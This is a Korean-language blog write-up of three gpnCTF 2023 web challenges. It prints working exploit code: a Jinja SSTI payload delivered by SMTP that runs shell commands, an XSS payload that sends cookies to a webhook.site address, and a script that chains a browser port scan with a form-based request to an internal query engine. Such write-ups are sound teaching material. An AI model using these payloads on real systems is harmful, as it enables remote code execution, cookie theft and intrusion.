gpnCTF 2023 Web Writeup

2023. 6. 12. 10:14·🚩 CTF/2023

[ Wanky mail ]

더보기
from flask import Flask, render_template_string, request, redirect, abort
from aiosmtpd.controller import Controller
from datetime import datetime
from base58 import b58decode, b58encode
import random 
import string
import os
from datetime import datetime
import queue

mails = {}
active_addr = queue.Queue(1000)

def format_email(sender, rcpt, body, timestamp, subject):
    return {"sender": sender, "rcpt": rcpt, 'body': body, 'subject': subject, "timestamp": timestamp}

def render_emails(address):
    id = 0
    render = """
    <table>
        <tr>
            <th id="th-left">From</th>
            <th>Subject</th>
            <th id="th-right">Date</th>
        </tr>
    """
    overlays = ""
    m = mails[address].copy()
    for email in m:

        render += f"""
        <tr id="{id}">
            <td>{email['sender']}</td>
            <td>{email['subject']}</td>
            <td>{email['timestamp']}</td>
        </tr>
        """
        overlays += f"""
        <div id="overlay-{id}" class="overlay">
            <div class="email-details">
                <h1>{email['subject']} - from: {email['sender']} to {email['rcpt']}</h1>
                <p>{email['body']}</p>
            </div>
        </div>
        """
        id +=1
    render += "</table>"
    render += overlays
    return render


def get_emails(id):
    with open('templates/index.html') as f:
        page = f.read()
        return page.replace('{{$}}', render_emails(id))

def log_email(session, envelope):
    print(f'{session.peer[0]} - - {repr(envelope.mail_from)}:{repr(envelope.rcpt_tos)}:{repr(envelope.content)}', flush=True)

def esc(s: str):
    return "{% raw %}" + s + "{% endraw %}"

class Handler:
     async def handle_RCPT(self, server, session, envelope, address, rcpt_options):
        if not address.endswith(os.environ.get('HOSTNAME')):
             return '550 not relaying to that domain'
        envelope.rcpt_tos.append(address)
        print(address, flush=True)
        return '250 OK'

     async def handle_DATA(self, server, session, envelope):
        m = format_email(esc(envelope.mail_from), envelope.rcpt_tos[0], esc(envelope.content.decode()), datetime.now().strftime("%d-%m-%Y, %H:%M:%S"), "PLACEHOLDER")
        log_email(session, envelope)
        r = envelope.rcpt_tos[0]
        if not mails.get(r):
            if active_addr.full():
                mails.pop(active_addr.get())
            mails[r] = []
            active_addr.put(r)
        if len(mails[r]) > 10:
            mails[r].pop(0)
        mails[r].append(m)
        return '250 OK'

c = Controller(Handler(), "0.0.0.0")
c.start()


app = Flask(__name__)
@app.route('/')
def index():
    username = ''.join(random.choice(string.ascii_lowercase) for i in range(12))
    address = f"{username}@{os.environ.get('HOSTNAME', 'example.com')}"
    if not address in mails.keys():
        if active_addr.full():
            del mails[active_addr.get()]
        mails[address] = []
        active_addr.put(address)
    id = b58encode(address).decode()
    return redirect("/" + id)

@app.route('/<id>')
def mailbox(id):
    address = b58decode(id).decode()
    if not address in mails.keys():
        abort(404)    
    return render_template_string(get_emails(address), address=address)

if __name__ == '__main__':
    app.run()
# app.py
def esc(s: str):
    return "{% raw %}" + s + "{% endraw %}"

class Handler:
     async def handle_RCPT(self, server, session, envelope, address, rcpt_options):
        if not address.endswith(os.environ.get('HOSTNAME')):
             return '550 not relaying to that domain'
        envelope.rcpt_tos.append(address)
        print(address, flush=True)
        return '250 OK'

     async def handle_DATA(self, server, session, envelope):
        m = format_email(esc(envelope.mail_from), envelope.rcpt_tos[0], esc(envelope.content.decode()), datetime.now().strftime("%d-%m-%Y, %H:%M:%S"), "PLACEHOLDER")
        log_email(session, envelope)
        r = envelope.rcpt_tos[0]
        if not mails.get(r):
            if active_addr.full():
                mails.pop(active_addr.get())
            mails[r] = []
            active_addr.put(r)
        if len(mails[r]) > 10:
            mails[r].pop(0)
        mails[r].append(m)
        return '250 OK'
        
@app.route('/<id>')
def mailbox(id):
    address = b58decode(id).decode()
    if not address in mails.keys():
        abort(404)    
    return render_template_string(get_emails(address), address=address)

The point of this chall iis above code. This service doesn't sanitize "address". The only protection to SSTI is "esc" function. We only need to escape the raw block, since the user's input will be entered as is. The way to escape "{% raw %}" block is just like this.

 

( If you use real email to send payload, you can't found SSTI is triggered. This is the reason why I spent so much time in this chall. Try to send payload by using python's smtp library )

{% endraw %} [ Code you want to input ] {% raw %}

But there is a problem. If we want to trigger SSTI attack, we must find out what classes exist in this service. However, we can't check it. So, let's use flask block.

 

{% for x in ().__class__.__base__.__subclasses__() %}{% if \'warning\' in x.__name__ %}{{x()._module.__builtins__[\'__import__\'](\'os\').popen(\'cat flag*.txt\').read()}}{%endif%}{% endfor %}

By organizing our code like this, we don't have to hunt down the classes we need. Okay. Let's send above payload to service.

 

• Exploit Code

from smtplib import SMTP

target = "zmltvsuqfpii@webmail-0.chals.kitctf.de"
payload = '{% for x in ().__class__.__base__.__subclasses__() %}{% if \'warning\' in x.__name__ %}{{x()._module.__builtins__[\'__import__\'](\'os\').popen(\'cat flag*.txt\').read()}}{%endif%}{% endfor %}'

with SMTP("webmail-0.chals.kitctf.de") as smtp:
    smtp.sendmail("\"({%endraw%} "+payload+" {%raw%})\"@test.com", target,"-")

 

• Flag

 

 

 

[ cross-site-python ]

 

<!-- /template/code.html -->
<!DOCTYPE html>
<html>
  <head>
    <link rel="stylesheet" href="/static/style.css">
    <link rel="stylesheet" href="/static/pyscript.css" />
    <script defer src="/static/pyscript.js"></script>
    <script defer src="/static/index.js"></script>
  </head>
  <body>
    <div class="menubar">
      <h1>Python Playground</h1>
      <a href='#' id="new">New</a>
      <a href='#' id="edit">Edit</a>
    </div>
    <div id="buttons">
  </div>
    <py-config>
      [[interpreters]]
        src = "/static/pyodide/pyodide.js"
        name = "pyodide-0.23.0"
        lang = "python"
      [splashscreen]
        enabled = true
      terminal = false
    </py-config>
    <py-terminal"></py-terminal>
    <py-script>
{{code}}
    </py-script>
  </body>
</html>

In code.html, There is no sanitization for "{{code}}".

 

@app.route('/<code_id>/exec')
def code_page(code_id):
    if code_id not in projects.keys():
        abort(404)

    code = projects.get(code_id)

    # Genius filter to prevent xss
    blacklist = ["script", "img", "onerror", "alert"]
    for word in blacklist:
        if word in code:
            # XSS attempt detected!
            abort(403)

    res = make_response(render_template("code.html", code=code))
    return res

In '/<code_id>/exec' endpoint, we can find render_template function.  We can find a SSTI vulnerability, because it doesn't sanitize "code" and then render template with it.

 

Next, we can see comment "Xss attempt detected!". We can also get a hint from here. We can bypass blacklist with capital letter, just like this. ("script" -> "Script").

 

Before trigger SSTI, let's check some things.

Check whether dict class exists.

Oh, there it is. We can find out classes that we will use in ssti payload like this way.

 

• Explot Code

but = dict.__base__.__subclasses__()[363]("buttons")
but.element.innerHTML= '<Img src="https://webhook.site/f202667e-9179-425d-80c1-fd62da5915d4?'+but.element.ownerDocument.cookie+'">'

• Flag

GPNCTF{4pp4r3ntly_pyth0n_1s_n0w_us3d_f0r_3v3ryth1ng_l2lIMU7mVOxawTvXBub}

 

[ Trusted shop ]

I couldn't solve this chall. So I brought other's writeup and summarize it in my word.

• Endpoint "/"

The Endpoint "/" end up like this. The goal is buying flag.

 

• Endpoint "/checkout/:product"

const prisma = new PrismaClient()
const app = polka({
    onError(err: Error, req: polka.Request, res: ServerResponse, next: polka.Next) {
        console.error(err)

        res.end('Unknown error')
    },

    onNoMatch(req: polka.Request, res: ServerResponse) {
        res.end('Page not found')
    }
});

app.get('/checkout/:product', async (req, res) => {
    const item = await prisma.item.findFirstOrThrow({
        where: {id: parseInt(req.params.product)}
    })

    return res.end(
        pages.get('checkout')!.replace(':title', item.title)
    )
})

"Buy" button in index page linked to "/checkout/:product". On "GET" request, we get a small form asking for our email.

When we submit the form, we do a "POST" request to the same endpoint. There are some points in here.

const item = await prisma.item.findFirstOrThrow({
    where: {id: parseInt(req.params.product)}
})

if (item.price !== 0) {
    return res.end("Our payment processor went bankrupt and as a result we can't accept payments right now. Please check back later or have a look at our free offerings")
}

First, we  can only purchase free item.

 

try {
    browser = await puppeteer.launch({
        headless: true,
        args: ['--no-sandbox', '--js-flags="--jitless"']
    })
    const page = await browser.newPage()


    const u = new URL('http://127.0.0.1:8000/_internal/pdf')
    u.search = new URLSearchParams({
        id: item.id.toString(),
        email: req.body.email as string,
        title: item.title as string,
        content: item.download as string
    }).toString()

    await page.goto(u.toString(), {waitUntil: 'networkidle0', timeout: 30000})

    res.end(await page.pdf({format: 'A4', timeout: 1000}))
} catch (e) {
    res.end(':(')
} finally {
    if (browser) await browser.close()
    rendererInUse = false
}

Then, the service translate purchase information to PDF and then redirect to "_internal/pdf" endpoint.

Second point is that the service opens PDF file by using puppeteer.

 

• Endpoint "_internal/pdf"

const id = req.query.id || '0'
const title = req.query.title || ''
const email = req.query.email || ''
const content = req.query.content || ''

if (typeof id !== 'string' || typeof title !== 'string' || typeof email !== 'string' || typeof content !== 'string') {
    return res.end(':(')
}

const body = pages.get('confirmation')!
    .replace(':title', title)
    .replace(':email', email)
    .replace(':content', content)

res.end(body)

It's substituting the request parameters into an html template with a simple string replacement. Third point is that because of this simple string replacement, we can include HTML tags so we can trigger XSS.

 

 

As we can use XSS vulnerability, we may have access to additional endpoints only accessible from inside the containers. To find out which endpoints are available, we depolyed the challenge locally.

 

docker exec -u root -it [container_name] /bin/bash

We opened a root shell with above command to install "iproute2" package ( apt install iproute2 ).

 

$ docker exec -it peaceful_shannon /bin/bash
pptruser@7023dbd72d08:/app$ ss -tulpn
Netid    State     Recv-Q    Send-Q       Local Address:Port          Peer Address:Port    Process
tcp      LISTEN    0         128              127.0.0.1:44189              0.0.0.0:*        users:(("query-engine-de",pid=94,fd=10))
tcp      LISTEN    0         511                      *:8000                     *:*        users:(("node",pid=39,fd=21))

This way we get access to "ss" tool to print open ports. Next step is we have to figure out whether we can interact with it via HTTP.

 

• Analysing "query-engine-de"

We could find the source code of this query engine. We kenw it was part of the prisma framework. This file contained backend routes. We had a problem to figure out a problem in the source code, so decided to dump a request file.

To do so, we installed in the container and captured the traffic on the loopback device with below command.

tcpdump -i lo -w /tmp/traffic.pcapng

All we have to do is to trigger a call to "query-engine" by buying an item. We could then copy the pcap to our host machine with below code and open it with wireshark.

docker cp [container_name]:/tmp/traffic.pcapng ./traffic.pcapng

The result goes like this.

# Request
POST / HTTP/1.1
host: 127.0.0.1:45737
connection: keep-alive
Content-Type: application/json
traceparent: 00-10-10-00
content-length: 155

{"variables":{},"query":"query {\n  findFirstItemOrThrow(where: {\n    id: 1\n  }) {\n    id\n    title\n    description\n    price\n    download\n  }\n}"}

# Response
HTTP/1.1 200 OK
content-type: application/json
x-elapsed: 11962
content-length: 185
date: Fri, 09 Jun 2023 22:23:12 GMT

{"data":{"findFirstItemOrThrow":{"id":1,"title":"Complete list of KITCTFCTF hints","description":"This document sure seems to be useful ","price":0,"download":"*<br>\n<br>\nList end"}}}

If we can change a paylaod of {"variables":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}" is enought to get flag.

 

• Extracting the flag

We have tried to update database to set the price of the flag item to 0, but it failed ( database printed out QueryError ). So we would have to find a way to read the cross origin response from the server. Then, we remembered that submitting an html form redirects the user to the resulting webpage by default. This isn't blocked by the same-origin policy because the response is only showned to user and not readable by the origin website. In our case, "puppeteer" simply prints any webpage that happens to be open, so it will just print response.

 

Unfortunately, there is one more problem. we would have to send a json request over html forms, which is not officially supported. One interesting observation is the server actually doesn't care about "Content-Type" header of request, it just checks the body contains valid json.

 

Since html forms always generate requests in the format "key1=value1&key2=value2", we would have to find a way to set the keys and values to form valid json. 

{"variables":{},"=":{},"query":"..."}

This would be a valid json. Unfortunately, the body is still url-encoded by default, which the server doesn't expect. To prevent this, we send "enctype" attribute of the form "text/plain". The result is like htis.

<form name="myForm" id="myForm" action="http://127.0.0.1:44189/" method="POST" enctype="text/plain">
      <input name='{"variables":{},"' value='":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}"}' />
</form>

<script>
    window.onload = function(){
      document.forms['myForm'].submit();
    }
</script>

 

• Finding the correct port

the "query-engine-de" process listens on a random port in real challenge. So we need to figure out the port it is listening on. We use this blog post.

 

In the end we sent something like this to the server.

document.body.innerHTML = "Starting Port Scan...";
async function test() {
    // how to use
    for (var i = {{portstart}}; i < {{portend}}; i++) {
    let [isOpen, m, sumOpen, sumClosed] = await portIsOpen('localhost', i, 10);
    if (isOpen) {
        document.body.innerHTML += `<p> Port ${i} open </p>`;
    }
    }
}

test();

Then we can read the open ports from the resulting PDF.

 

[ Exploit Code ]

  • Send the port scanner to "/checkout/1"
  • Read the pdf response and find all ports with the regex "Port (\d+) open"
  • Throw our exploit against the found ports
  • Print the text of the pdf and hope that flag is in there
#!/usr/bin/env python3

import requests
import re
from PyPDF2 import PdfReader

template = """
<script>
// Author: Nikolai Tschacher
// tested on Chrome v86 on Ubuntu 18.04
var portIsOpen = function(hostToScan, portToScan, N) {
  return new Promise((resolve, reject) => {
    var portIsOpen = 'unknown';

    var timePortImage = function(port) {
      return new Promise((resolve, reject) => {
        var t0 = performance.now()
        // a random appendix to the URL to prevent caching
        var random = Math.random().toString().replace('0.', '').slice(0, 7)
        var img = new Image;

        img.onerror = function() {
          var elapsed = (performance.now() - t0)
          // close the socket before we return
          resolve(parseFloat(elapsed.toFixed(3)))
        }

        img.src = "http://" + hostToScan + ":" + port + '/' + random + '.png'
      })
    }

    const portClosed = 37857; // let's hope it's closed :D

    (async () => {
      var timingsOpen = [];
      var timingsClosed = [];
      for (var i = 0; i < N; i++) {
        timingsOpen.push(await timePortImage(portToScan))
        timingsClosed.push(await timePortImage(portClosed))
      }

      var sum = (arr) => arr.reduce((a, b) => a + b);
      var sumOpen = sum(timingsOpen);
      var sumClosed = sum(timingsClosed);
      var test1 = sumOpen >= (sumClosed * 1.3);
      var test2 = false;

      var m = 0;
      for (var i = 0; i <= N; i++) {
        if (timingsOpen[i] > timingsClosed[i]) {
          m++;
        }
      }
      // 80% of timings of open port must be larger than closed ports
      test2 = (m >= Math.floor(0.8 * N));

      portIsOpen = test1 && test2;
      resolve([portIsOpen, m, sumOpen, sumClosed]);
    })();
  });
}

document.body.innerHTML = "Starting Port Scan...";
async function test() {
    // how to use
    for (var i = {{portstart}}; i < {{portend}}; i++) {
    let [isOpen, m, sumOpen, sumClosed] = await portIsOpen('localhost', i, 10);
    if (isOpen) {
        document.body.innerHTML += `<p> Port ${i} open </p>`;
    }
    }
}

test();

</script>
"""

exploit = """
<form name="myForm" id="myForm" action="http://127.0.0.1:{{port}}/" method="POST" enctype="text/plain">
      <input name='{"variables":{},"' value='":{},"query":"query{findFirstItemOrThrow(where:{id:2}){download}}"}' />
</form>

<script>
    window.onload = function(){
      document.forms['myForm'].submit();
    }
</script>
"""

domain = "https://" + "25fcb16f03784ff73996658e7bb1655a-trusted-shop-4.chals.kitctf.de"
# domain = "http://localhost:8000"

for port in range(30000, 40000, 500):
    r = requests.post(f"{domain}/checkout/1", data={"email": template.replace("{{portstart}}", str(port)).replace("{{portend}}", str(port + 500))})
    with open("/tmp/foo.pdf", "wb") as f:
        f.write(r.content)
    reader = PdfReader('/tmp/foo.pdf')

    # getting a specific page from the pdf file
    page = reader.pages[0]

    # extracting text from page
    text = page.extract_text()
    ports = re.findall('Port (\\d+) open', text)
    for port in ports:
        r = requests.post(f"{domain}/checkout/1", data={"email": exploit.replace("{{port}}", str(port))})
        with open("/tmp/foo.pdf", "wb") as f:
            f.write(r.content)
        reader = PdfReader('/tmp/foo.pdf')

        # getting a specific page from the pdf file
        page = reader.pages[0]

        # extracting text from page
        text = page.extract_text()
        print("Port", port, text)

 

Point of this chall

  • HTML 코드가 들어갈 수 있는 부분은 XSS 트리거가 가능하니 잘 확인하기. ( Response가 파일 형태로 변환되더라도 XSS 가능 )
저작자표시 비영리 변경금지 (새창열림)
'🚩 CTF/2023' 카테고리의 다른 글
  • [ zer0pts 2023 ] Neko note
  • [ justCTF 2023 ] Perfect Product
  • [ justCTF2023 ] Aquatic_delights
  • [ justCTF 2023 ] eXtra-Safe-Security-layers
Cronus
Cronus
Offensive Security Researcher
  • Cronus
    Cronus
    Striving to be the best.
    • 분류 전체보기 (251)
      • AboutMe (1)
      • Portfolio (1)
        • Things (1)
      • Bug Report (1)
      • 🚩 CTF (23)
        • Former Doc (9)
        • 2023 (9)
      • 💻 Security (5)
      • 🖌️ Theory (22)
        • WEB (9)
        • PWN (13)
      • 📄 Project (6)
        • Edu_Siri (6)
      • Dreamhack (156)
        • WEB (95)
        • PWN (41)
        • Crypto (14)
        • ETC (6)
      • Wargame (22)
        • HackCTF (22)
      • Bug Bounty (1)
        • Hacking Zone (1)
      • Tips (7)
      • Development (2)
        • Machine Learning & Deep Lea.. (1)
      • Offensive Tools (1)
  • 블로그 메뉴

    • 홈
  • 링크

  • 공지사항

  • 인기 글

  • 태그

    TFCCTF2022
    TsukuCTF2022
    Remote Code Execution
    cache
    Machine Learning
    Deep learning
    Ubuntu 기초 셋팅
    Ubuntu 기초
    ubuntu 명령어
    RCE
    justCTF
    sqli
    pwntools
    Text Summarization
    bug hunter
    cache poisoning
    bug report
    GPNCTF
    Crypto
    python
  • 최근 댓글

  • 최근 글

Cronus
gpnCTF 2023 Web Writeup
상단으로

티스토리툴바